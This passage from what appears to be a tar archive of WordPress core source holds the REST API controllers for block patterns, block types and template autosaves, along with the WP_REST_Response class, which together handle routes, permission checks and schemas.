'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks whether a given request has permission to read block patterns. * * @since 6.0.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { if ( current_user_can( 'edit_posts' ) ) { return true; } foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) { if ( current_user_can( $post_type->cap->edit_posts ) ) { return true; } } return new WP_Error( 'rest_cannot_view', __( 'Sorry, you are not allowed to view the registered block patterns.' ), array( 'status' => rest_authorization_required_code() ) ); } /** * Retrieves all block patterns. * * @since 6.0.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { if ( ! $this->remote_patterns_loaded ) { // Load block patterns from w.org. _load_remote_block_patterns(); // Patterns with the `core` keyword. _load_remote_featured_patterns(); // Patterns in the `featured` category. _register_remote_theme_patterns(); // Patterns requested by current theme. $this->remote_patterns_loaded = true; } $response = array(); $patterns = WP_Block_Patterns_Registry::get_instance()->get_all_registered(); foreach ( $patterns as $pattern ) { $prepared_pattern = $this->prepare_item_for_response( $pattern, $request ); $response[] = $this->prepare_response_for_collection( $prepared_pattern ); } return rest_ensure_response( $response ); } /** * Prepare a raw block pattern before it gets output in a REST API response. * * @since 6.0.0 * * @param array $item Raw pattern as registered, before any changes. * @param WP_REST_Request $request Request object. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function prepare_item_for_response( $item, $request ) { $fields = $this->get_fields_for_response( $request ); $keys = array( 'name' => 'name', 'title' => 'title', 'description' => 'description', 'viewportWidth' => 'viewport_width', 'blockTypes' => 'block_types', 'categories' => 'categories', 'keywords' => 'keywords', 'content' => 'content', 'inserter' => 'inserter', ); $data = array(); foreach ( $keys as $item_key => $rest_key ) { if ( isset( $item[ $item_key ] ) && rest_is_field_included( $rest_key, $fields ) ) { $data[ $rest_key ] = $item[ $item_key ]; } } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); return rest_ensure_response( $data ); } /** * Retrieves the block pattern schema, conforming to JSON Schema. * * @since 6.0.0 * * @return array Item schema data. */ public function get_item_schema() { $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'block-pattern', 'type' => 'object', 'properties' => array( 'name' => array( 'description' => __( 'The pattern name.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'title' => array( 'description' => __( 'The pattern title, in human readable format.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'description' => array( 'description' => __( 'The pattern detailed description.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'viewport_width' => array( 'description' => __( 'The pattern viewport width for inserter preview.' ), 'type' => 'number', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'block_types' => array( 'description' => __( 'Block types that the pattern is intended to be used with.' ), 'type' => 'array', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'categories' => array( 'description' => __( 'The pattern category slugs.' ), 'type' => 'array', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'keywords' => array( 'description' => __( 'The pattern keywords.' ), 'type' => 'array', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'content' => array( 'description' => __( 'The pattern content.' ), 'type' => 'string', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), 'inserter' => array( 'description' => __( 'Determines whether the pattern is visible in inserter.' ), 'type' => 'boolean', 'readonly' => true, 'context' => array( 'view', 'edit', 'embed' ), ), ), ); return $this->add_additional_fields_schema( $schema ); } } ��������������������������������������������������������������������������������������������rest-api/endpoints/class-wp-rest-block-types-controller.php�����������������������������������������0000644�����������������00000051250�14717703502�0020134 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * REST API: WP_REST_Block_Types_Controller class * * @package WordPress * @subpackage REST_API * @since 5.5.0 */ /** * Core class used to access block types via the REST API. * * @since 5.5.0 * * @see WP_REST_Controller */ class WP_REST_Block_Types_Controller extends WP_REST_Controller { /** * Instance of WP_Block_Type_Registry. * * @since 5.5.0 * @var WP_Block_Type_Registry */ protected $block_registry; /** * Instance of WP_Block_Styles_Registry. * * @since 5.5.0 * @var WP_Block_Styles_Registry */ protected $style_registry; /** * Constructor. * * @since 5.5.0 */ public function __construct() { $this->namespace = 'wp/v2'; $this->rest_base = 'block-types'; $this->block_registry = WP_Block_Type_Registry::get_instance(); $this->style_registry = WP_Block_Styles_Registry::get_instance(); } /** * Registers the routes for block types. * * @since 5.5.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<namespace>[a-zA-Z0-9_-]+)', array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P<namespace>[a-zA-Z0-9_-]+)/(?P<name>[a-zA-Z0-9_-]+)', array( 'args' => array( 'name' => array( 'description' => __( 'Block name.' ), 'type' => 'string', ), 'namespace' => array( 'description' => __( 'Block namespace.' ), 'type' => 'string', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks whether a given request has permission to read post block types. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { return $this->check_read_permission(); } /** * Retrieves all post block types, depending on user context. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { $data = array(); $block_types = $this->block_registry->get_all_registered(); // Retrieve the list of registered collection query parameters. $registered = $this->get_collection_params(); $namespace = ''; if ( isset( $registered['namespace'] ) && ! empty( $request['namespace'] ) ) { $namespace = $request['namespace']; } foreach ( $block_types as $slug => $obj ) { if ( $namespace ) { list ( $block_namespace ) = explode( '/', $obj->name ); if ( $namespace !== $block_namespace ) { continue; } } $block_type = $this->prepare_item_for_response( $obj, $request ); $data[] = $this->prepare_response_for_collection( $block_type ); } return rest_ensure_response( $data ); } /** * Checks if a given request has access to read a block type. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { $check = $this->check_read_permission(); if ( is_wp_error( $check ) ) { return $check; } $block_name = sprintf( '%s/%s', $request['namespace'], $request['name'] ); $block_type = $this->get_block( $block_name ); if ( is_wp_error( $block_type ) ) { return $block_type; } return true; } /** * Checks whether a given block type should be visible. * * @since 5.5.0 * * @return true|WP_Error True if the block type is visible, WP_Error otherwise. */ protected function check_read_permission() { if ( current_user_can( 'edit_posts' ) ) { return true; } foreach ( get_post_types( array( 'show_in_rest' => true ), 'objects' ) as $post_type ) { if ( current_user_can( $post_type->cap->edit_posts ) ) { return true; } } return new WP_Error( 'rest_block_type_cannot_view', __( 'Sorry, you are not allowed to manage block types.' ), array( 'status' => rest_authorization_required_code() ) ); } /** * Get the block, if the name is valid. * * @since 5.5.0 * * @param string $name Block name. * @return WP_Block_Type|WP_Error Block type object if name is valid, WP_Error otherwise. */ protected function get_block( $name ) { $block_type = $this->block_registry->get_registered( $name ); if ( empty( $block_type ) ) { return new WP_Error( 'rest_block_type_invalid', __( 'Invalid block type.' ), array( 'status' => 404 ) ); } return $block_type; } /** * Retrieves a specific block type. * * @since 5.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_item( $request ) { $block_name = sprintf( '%s/%s', $request['namespace'], $request['name'] ); $block_type = $this->get_block( $block_name ); if ( is_wp_error( $block_type ) ) { return $block_type; } $data = $this->prepare_item_for_response( $block_type, $request ); return rest_ensure_response( $data ); } /** * Prepares a block type object for serialization. * * @since 5.5.0 * @since 5.9.0 Renamed `$block_type` to `$item` to match parent class for PHP 8 named parameter support. * * @param WP_Block_Type $item Block type data. * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response Block type data. */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $block_type = $item; $fields = $this->get_fields_for_response( $request ); $data = array(); if ( rest_is_field_included( 'attributes', $fields ) ) { $data['attributes'] = $block_type->get_attributes(); } if ( rest_is_field_included( 'is_dynamic', $fields ) ) { $data['is_dynamic'] = $block_type->is_dynamic(); } $schema = $this->get_item_schema(); $extra_fields = array( 'api_version', 'name', 'title', 'description', 'icon', 'category', 'keywords', 'parent', 'ancestor', 'provides_context', 'uses_context', 'supports', 'styles', 'textdomain', 'example', 'editor_script', 'script', 'view_script', 'editor_style', 'style', 'variations', ); foreach ( $extra_fields as $extra_field ) { if ( rest_is_field_included( $extra_field, $fields ) ) { if ( isset( $block_type->$extra_field ) ) { $field = $block_type->$extra_field; } elseif ( array_key_exists( 'default', $schema['properties'][ $extra_field ] ) ) { $field = $schema['properties'][ $extra_field ]['default']; } else { $field = ''; } $data[ $extra_field ] = rest_sanitize_value_from_schema( $field, $schema['properties'][ $extra_field ] ); } } if ( rest_is_field_included( 'styles', $fields ) ) { $styles = $this->style_registry->get_registered_styles_for_block( $block_type->name ); $styles = array_values( $styles ); $data['styles'] = wp_parse_args( $styles, $data['styles'] ); $data['styles'] = array_filter( $data['styles'] ); } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); $response->add_links( $this->prepare_links( $block_type ) ); /** * Filters a block type returned from the REST API. * * Allows modification of the block type data right before it is returned. * * @since 5.5.0 * * @param WP_REST_Response $response The response object. * @param WP_Block_Type $block_type The original block type object. * @param WP_REST_Request $request Request used to generate the response. */ return apply_filters( 'rest_prepare_block_type', $response, $block_type, $request ); } /** * Prepares links for the request. * * @since 5.5.0 * * @param WP_Block_Type $block_type Block type data. * @return array Links for the given block type. */ protected function prepare_links( $block_type ) { list( $namespace ) = explode( '/', $block_type->name ); $links = array( 'collection' => array( 'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ), ), 'self' => array( 'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $block_type->name ) ), ), 'up' => array( 'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $namespace ) ), ), ); if ( $block_type->is_dynamic() ) { $links['https://api.w.org/render-block'] = array( 'href' => add_query_arg( 'context', 'edit', rest_url( sprintf( '%s/%s/%s', 'wp/v2', 'block-renderer', $block_type->name ) ) ), ); } return $links; } /** * Retrieves the block type' schema, conforming to JSON Schema. * * @since 5.5.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } // rest_validate_value_from_schema doesn't understand $refs, pull out reused definitions for readability. $inner_blocks_definition = array( 'description' => __( 'The list of inner blocks used in the example.' ), 'type' => 'array', 'items' => array( 'type' => 'object', 'properties' => array( 'name' => array( 'description' => __( 'The name of the inner block.' ), 'type' => 'string', ), 'attributes' => array( 'description' => __( 'The attributes of the inner block.' ), 'type' => 'object', ), 'innerBlocks' => array( 'description' => __( "A list of the inner block's own inner blocks. This is a recursive definition following the parent innerBlocks schema." ), 'type' => 'array', ), ), ), ); $example_definition = array( 'description' => __( 'Block example.' ), 'type' => array( 'object', 'null' ), 'default' => null, 'properties' => array( 'attributes' => array( 'description' => __( 'The attributes used in the example.' ), 'type' => 'object', ), 'innerBlocks' => $inner_blocks_definition, ), 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ); $keywords_definition = array( 'description' => __( 'Block keywords.' ), 'type' => 'array', 'items' => array( 'type' => 'string', ), 'default' => array(), 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ); $icon_definition = array( 'description' => __( 'Icon of block type.' ), 'type' => array( 'string', 'null' ), 'default' => null, 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ); $category_definition = array( 'description' => __( 'Block category.' ), 'type' => array( 'string', 'null' ), 'default' => null, 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ); $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'block-type', 'type' => 'object', 'properties' => array( 'api_version' => array( 'description' => __( 'Version of block API.' ), 'type' => 'integer', 'default' => 1, 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'title' => array( 'description' => __( 'Title of block type.' ), 'type' => 'string', 'default' => '', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'name' => array( 'description' => __( 'Unique name identifying the block type.' ), 'type' => 'string', 'default' => '', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'description' => array( 'description' => __( 'Description of block type.' ), 'type' => 'string', 'default' => '', 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'icon' => $icon_definition, 'attributes' => array( 'description' => __( 'Block attributes.' ), 'type' => array( 'object', 'null' ), 'properties' => array(), 'default' => null, 'additionalProperties' => array( 'type' => 'object', ), 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'provides_context' => array( 'description' => __( 'Context provided by blocks of this type.' ), 'type' => 'object', 'properties' => array(), 'additionalProperties' => array( 'type' => 'string', ), 'default' => array(), 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'uses_context' => array( 'description' => __( 'Context values inherited by blocks of this type.' ), 'type' => 'array', 'default' => array(), 'items' => array( 'type' => 'string', ), 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'supports' => array( 'description' => __( 'Block supports.' ), 'type' => 'object', 'default' => array(), 'properties' => array(), 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'category' => $category_definition, 'is_dynamic' => array( 'description' => __( 'Is the block dynamically rendered.' ), 'type' => 'boolean', 'default' => false, 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'editor_script' => array( 'description' => __( 'Editor script handle.' ), 'type' => array( 'string', 'null' ), 'default' => null, 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'script' => array( 'description' => __( 'Public facing and editor script handle.' ), 'type' => array( 'string', 'null' ), 'default' => null, 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'view_script' => array( 'description' => __( 'Public facing script handle.' ), 'type' => array( 'string', 'null' ), 'default' => null, 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'editor_style' => array( 'description' => __( 'Editor style handle.' ), 'type' => array( 'string', 'null' ), 'default' => null, 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'style' => array( 'description' => __( 'Public facing and editor style handle.' ), 'type' => array( 'string', 'null' ), 'default' => null, 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'styles' => array( 'description' => __( 'Block style variations.' ), 'type' => 'array', 'items' => array( 'type' => 'object', 'properties' => array( 'name' => array( 'description' => __( 'Unique name identifying the style.' ), 'type' => 'string', 'required' => true, ), 'label' => array( 'description' => __( 'The human-readable label for the style.' ), 'type' => 'string', ), 'inline_style' => array( 'description' => __( 'Inline CSS code that registers the CSS class required for the style.' ), 'type' => 'string', ), 'style_handle' => array( 'description' => __( 'Contains the handle that defines the block style.' ), 'type' => 'string', ), ), ), 'default' => array(), 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'variations' => array( 'description' => __( 'Block variations.' ), 'type' => 'array', 'items' => array( 'type' => 'object', 'properties' => array( 'name' => array( 'description' => __( 'The unique and machine-readable name.' ), 'type' => 'string', 'required' => true, ), 'title' => array( 'description' => __( 'A human-readable variation title.' ), 'type' => 'string', 'required' => true, ), 'description' => array( 'description' => __( 'A detailed variation description.' ), 'type' => 'string', 'required' => false, ), 'category' => $category_definition, 'icon' => $icon_definition, 'isDefault' => array( 'description' => __( 'Indicates whether the current variation is the default one.' ), 'type' => 'boolean', 'required' => false, 'default' => false, ), 'attributes' => array( 'description' => __( 'The initial values for attributes.' ), 'type' => 'object', ), 'innerBlocks' => $inner_blocks_definition, 'example' => $example_definition, 'scope' => array( 'description' => __( 'The list of scopes where the variation is applicable. When not provided, it assumes all available scopes.' ), 'type' => array( 'array', 'null' ), 'default' => null, 'items' => array( 'type' => 'string', 'enum' => array( 'block', 'inserter', 'transform' ), ), 'readonly' => true, ), 'keywords' => $keywords_definition, ), ), 'readonly' => true, 'context' => array( 'embed', 'view', 'edit' ), 'default' => null, ), 'textdomain' => array( 'description' => __( 'Public text domain.' ), 'type' => array( 'string', 'null' ), 'default' => null, 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'parent' => array( 'description' => __( 'Parent blocks.' ), 'type' => array( 'array', 'null' ), 'items' => array( 'type' => 'string', ), 'default' => null, 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'ancestor' => array( 'description' => __( 'Ancestor blocks.' ), 'type' => array( 'array', 'null' ), 'items' => array( 'type' => 'string', ), 'default' => null, 'context' => array( 'embed', 'view', 'edit' ), 'readonly' => true, ), 'keywords' => $keywords_definition, 'example' => $example_definition, ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for collections. * * @since 5.5.0 * * @return array Collection parameters. */ public function get_collection_params() { return array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), 'namespace' => array( 'description' => __( 'Block namespace.' ), 'type' => 'string', ), ); } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������rest-api/endpoints/class-wp-rest-template-autosaves-controller.php����������������������������������0000644�����������������00000017026�14717703502�0021526 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * REST API: WP_REST_Template_Autosaves_Controller class. * * @package WordPress * @subpackage REST_API * @since 6.4.0 */ /** * Core class used to access template autosaves via the REST API. * * @since 6.4.0 * * @see WP_REST_Autosaves_Controller */ class WP_REST_Template_Autosaves_Controller extends WP_REST_Autosaves_Controller { /** * Parent post type. * * @since 6.4.0 * @var string */ private $parent_post_type; /** * Parent post controller. * * @since 6.4.0 * @var WP_REST_Controller */ private $parent_controller; /** * Revision controller. * * @since 6.4.0 * @var WP_REST_Revisions_Controller */ private $revisions_controller; /** * The base of the parent controller's route. * * @since 6.4.0 * @var string */ private $parent_base; /** * Constructor. * * @since 6.4.0 * * @param string $parent_post_type Post type of the parent. */ public function __construct( $parent_post_type ) { parent::__construct( $parent_post_type ); $this->parent_post_type = $parent_post_type; $post_type_object = get_post_type_object( $parent_post_type ); $parent_controller = $post_type_object->get_rest_controller(); if ( ! $parent_controller ) { $parent_controller = new WP_REST_Templates_Controller( $parent_post_type ); } $this->parent_controller = $parent_controller; $revisions_controller = $post_type_object->get_revisions_rest_controller(); if ( ! $revisions_controller ) { $revisions_controller = new WP_REST_Revisions_Controller( $parent_post_type ); } $this->revisions_controller = $revisions_controller; $this->rest_base = 'autosaves'; $this->parent_base = ! empty( $post_type_object->rest_base ) ? $post_type_object->rest_base : $post_type_object->name; $this->namespace = ! empty( $post_type_object->rest_namespace ) ? $post_type_object->rest_namespace : 'wp/v2'; } /** * Registers the routes for autosaves. * * @since 6.4.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, sprintf( '/%s/(?P<id>%s%s)/%s', $this->parent_base, /* * Matches theme's directory: `/themes/<subdirectory>/<theme>/` or `/themes/<theme>/`. * Excludes invalid directory name characters: `/:<>*?"|`. */ '([^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?)', // Matches the template name. '[\/\w%-]+', $this->rest_base ), array( 'args' => array( 'id' => array( 'description' => __( 'The id of a template' ), 'type' => 'string', 'sanitize_callback' => array( $this->parent_controller, '_sanitize_template_id' ), ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'create_item' ), 'permission_callback' => array( $this, 'create_item_permissions_check' ), 'args' => $this->parent_controller->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, sprintf( '/%s/(?P<parent>%s%s)/%s/%s', $this->parent_base, /* * Matches theme's directory: `/themes/<subdirectory>/<theme>/` or `/themes/<theme>/`. * Excludes invalid directory name characters: `/:<>*?"|`. */ '([^\/:<>\*\?"\|]+(?:\/[^\/:<>\*\?"\|]+)?)', // Matches the template name. '[\/\w%-]+', $this->rest_base, '(?P<id>[\d]+)' ), array( 'args' => array( 'parent' => array( 'description' => __( 'The id of a template' ), 'type' => 'string', 'sanitize_callback' => array( $this->parent_controller, '_sanitize_template_id' ), ), 'id' => array( 'description' => __( 'The ID for the autosave.' ), 'type' => 'integer', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this->revisions_controller, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Prepares the item for the REST response. * * @since 6.4.0 * * @param WP_Post $item Post revision object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { $template = _build_block_template_result_from_post( $item ); $response = $this->parent_controller->prepare_item_for_response( $template, $request ); $fields = $this->get_fields_for_response( $request ); $data = $response->get_data(); if ( in_array( 'parent', $fields, true ) ) { $data['parent'] = (int) $item->post_parent; } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->filter_response_by_context( $data, $context ); // Wrap the data in a response object. $response = new WP_REST_Response( $data ); if ( rest_is_field_included( '_links', $fields ) || rest_is_field_included( '_embedded', $fields ) ) { $links = $this->prepare_links( $template ); $response->add_links( $links ); } return $response; } /** * Gets the autosave, if the ID is valid. * * @since 6.4.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_Post|WP_Error Autosave post object if ID is valid, WP_Error otherwise. */ public function get_item( $request ) { $parent = $this->get_parent( $request['parent'] ); if ( is_wp_error( $parent ) ) { return $parent; } $autosave = wp_get_post_autosave( $parent->ID ); if ( ! $autosave ) { return new WP_Error( 'rest_post_no_autosave', __( 'There is no autosave revision for this template.' ), array( 'status' => 404 ) ); } $response = $this->prepare_item_for_response( $autosave, $request ); return $response; } /** * Get the parent post. * * @since 6.4.0 * * @param int $parent_id Supplied ID. * @return WP_Post|WP_Error Post object if ID is valid, WP_Error otherwise. */ protected function get_parent( $parent_id ) { return $this->revisions_controller->get_parent( $parent_id ); } /** * Prepares links for the request. * * @since 6.4.0 * * @param WP_Block_Template $template Template. * @return array Links for the given post. */ protected function prepare_links( $template ) { $links = array( 'self' => array( 'href' => rest_url( sprintf( '/%s/%s/%s/%s/%d', $this->namespace, $this->parent_base, $template->id, $this->rest_base, $template->wp_id ) ), ), 'parent' => array( 'href' => rest_url( sprintf( '/%s/%s/%s', $this->namespace, $this->parent_base, $template->id ) ), ), ); return $links; } /** * Retrieves the autosave's schema, conforming to JSON Schema. * * @since 6.4.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $this->schema = $this->revisions_controller->get_item_schema(); return $this->add_additional_fields_schema( $this->schema ); } } ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������rest-api/class-wp-rest-response.php�����������������������������������������������������������������0000644�����������������00000016274�14717703502�0013361 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * REST API: WP_REST_Response class * * @package WordPress * @subpackage REST_API * @since 4.4.0 */ /** * Core class used to implement a REST response object. * * @since 4.4.0 * * @see WP_HTTP_Response */ class WP_REST_Response extends WP_HTTP_Response { /** * Links related to the response. * * @since 4.4.0 * @var array */ protected $links = array(); /** * The route that was to create the response. * * @since 4.4.0 * @var string */ protected $matched_route = ''; /** * The handler that was used to create the response. * * @since 4.4.0 * @var null|array */ protected $matched_handler = null; /** * Adds a link to the response. * * @internal The $rel parameter is first, as this looks nicer when sending multiple. * * @since 4.4.0 * * @link https://tools.ietf.org/html/rfc5988 * @link https://www.iana.org/assignments/link-relations/link-relations.xml * * @param string $rel Link relation. Either an IANA registered type, * or an absolute URL. * @param string $href Target URI for the link. * @param array $attributes Optional. Link parameters to send along with the URL. Default empty array. */ public function add_link( $rel, $href, $attributes = array() ) { if ( empty( $this->links[ $rel ] ) ) { $this->links[ $rel ] = array(); } if ( isset( $attributes['href'] ) ) { // Remove the href attribute, as it's used for the main URL. unset( $attributes['href'] ); } $this->links[ $rel ][] = array( 'href' => $href, 'attributes' => $attributes, ); } /** * Removes a link from the response. * * @since 4.4.0 * * @param string $rel Link relation. Either an IANA registered type, or an absolute URL. * @param string $href Optional. Only remove links for the relation matching the given href. * Default null. */ public function remove_link( $rel, $href = null ) { if ( ! isset( $this->links[ $rel ] ) ) { return; } if ( $href ) { $this->links[ $rel ] = wp_list_filter( $this->links[ $rel ], array( 'href' => $href ), 'NOT' ); } else { $this->links[ $rel ] = array(); } if ( ! $this->links[ $rel ] ) { unset( $this->links[ $rel ] ); } } /** * Adds multiple links to the response. * * Link data should be an associative array with link relation as the key. * The value can either be an associative array of link attributes * (including `href` with the URL for the response), or a list of these * associative arrays. * * @since 4.4.0 * * @param array $links Map of link relation to list of links. */ public function add_links( $links ) { foreach ( $links as $rel => $set ) { // If it's a single link, wrap with an array for consistent handling. if ( isset( $set['href'] ) ) { $set = array( $set ); } foreach ( $set as $attributes ) { $this->add_link( $rel, $attributes['href'], $attributes ); } } } /** * Retrieves links for the response. * * @since 4.4.0 * * @return array List of links. */ public function get_links() { return $this->links; } /** * Sets a single link header. * * @internal The $rel parameter is first, as this looks nicer when sending multiple. * * @since 4.4.0 * * @link https://tools.ietf.org/html/rfc5988 * @link https://www.iana.org/assignments/link-relations/link-relations.xml * * @param string $rel Link relation. Either an IANA registered type, or an absolute URL. * @param string $link Target IRI for the link. * @param array $other Optional. Other parameters to send, as an associative array. * Default empty array. */ public function link_header( $rel, $link, $other = array() ) { $header = '<' . $link . '>; rel="' . $rel . '"'; foreach ( $other as $key => $value ) { if ( 'title' === $key ) { $value = '"' . $value . '"'; } $header .= '; ' . $key . '=' . $value; } $this->header( 'Link', $header, false ); } /** * Retrieves the route that was used. * * @since 4.4.0 * * @return string The matched route. */ public function get_matched_route() { return $this->matched_route; } /** * Sets the route (regex for path) that caused the response. * * @since 4.4.0 * * @param string $route Route name. */ public function set_matched_route( $route ) { $this->matched_route = $route; } /** * Retrieves the handler that was used to generate the response. * * @since 4.4.0 * * @return null|array The handler that was used to create the response. */ public function get_matched_handler() { return $this->matched_handler; } /** * Sets the handler that was responsible for generating the response. * * @since 4.4.0 * * @param array $handler The matched handler. */ public function set_matched_handler( $handler ) { $this->matched_handler = $handler; } /** * Checks if the response is an error, i.e. >= 400 response code. * * @since 4.4.0 * * @return bool Whether the response is an error. */ public function is_error() { return $this->get_status() >= 400; } /** * Retrieves a WP_Error object from the response. * * @since 4.4.0 * * @return WP_Error|null WP_Error or null on not an errored response. */ public function as_error() { if ( ! $this->is_error() ) { return null; } $error = new WP_Error; if ( is_array( $this->get_data() ) ) { $data = $this->get_data(); $error->add( $data['code'], $data['message'], $data['data'] ); if ( ! empty( $data['additional_errors'] ) ) { foreach ( $data['additional_errors'] as $err ) { $error->add( $err['code'], $err['message'], $err['data'] ); } } } else { $error->add( $this->get_status(), '', array( 'status' => $this->get_status() ) ); } return $error; } /** * Retrieves the CURIEs (compact URIs) used for relations. * * @since 4.5.0 * * @return array Compact URIs. */ public function get_curies() { $curies = array( array( 'name' => 'wp', 'href' => 'https://api.w.org/{rel}', 'templated' => true, ), ); /** * Filters extra CURIEs available on REST API responses. * * CURIEs allow a shortened version of URI relations. This allows a more * usable form for custom relations than using the full URI. These work * similarly to how XML namespaces work. * * Registered CURIES need to specify a name and URI template. This will * automatically transform URI relations into their shortened version. * The shortened relation follows the format `{name}:{rel}`. `{rel}` in * the URI template will be replaced with the `{rel}` part of the * shortened relation. * * For example, a CURIE with name `example` and URI template * `http://w.org/{rel}` would transform a `http://w.org/term` relation * into `example:term`. * * Well-behaved clients should expand and normalize these back to their * full URI relation, however some naive clients may not resolve these * correctly, so adding new CURIEs may break backward compatibility. * * @since 4.5.0 * * @param array $additional Additional CURIEs to register with the REST API. */ $additional = apply_filters( 'rest_response_link_curies', array() ); return array_merge( $curies, $additional ); } } 